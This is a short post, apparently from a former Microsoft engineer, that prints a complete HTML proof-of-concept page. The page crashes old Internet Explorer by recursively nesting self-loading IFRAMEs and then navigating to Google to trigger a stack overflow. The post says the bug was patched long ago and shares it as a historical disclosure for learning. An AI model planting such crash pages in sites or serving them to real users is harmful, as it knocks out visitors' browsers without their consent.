Recursively nesting IFRAMEs by having each page write a new IFRAME pointing to itself eventually overflows the stack. A counter stored on top limits the recursion to 500 levels, after which a navigation to Google is attempted — and Google’s own focus() call is enough to push the already-strained stack over the edge.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Nested IFRAMES Crash</TITLE></HEAD>
<BODY>
Nested IFRAMES Crash
<SCRIPT LANGUAGE="JavaScript">
if (!top.count) top.count=0;
top.count++;
// The fileName must be different than the parentWindow. That's the only reason of the anticache (RND=random) here.
if (top.count<500) document.write('<IFRAME SRC="index.html?RND='+top.count+'"></IFRAME>');
else location.replace('http://www.google.com/');
// If the 500 IFRAMES are not enough to reach the Stack Overflow, the focus() method from Google will throw it.
</SCRIPT>
</BODY>
</HTML>Each IFRAME loads another instance of the same page, which increments the counter and loads yet another IFRAME. Five hundred levels of nested document contexts builds up enough stack pressure that Google’s window.focus() call — executed when that page loads — causes the overflow. IE had no recursion depth limit for IFRAME nesting at the time.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.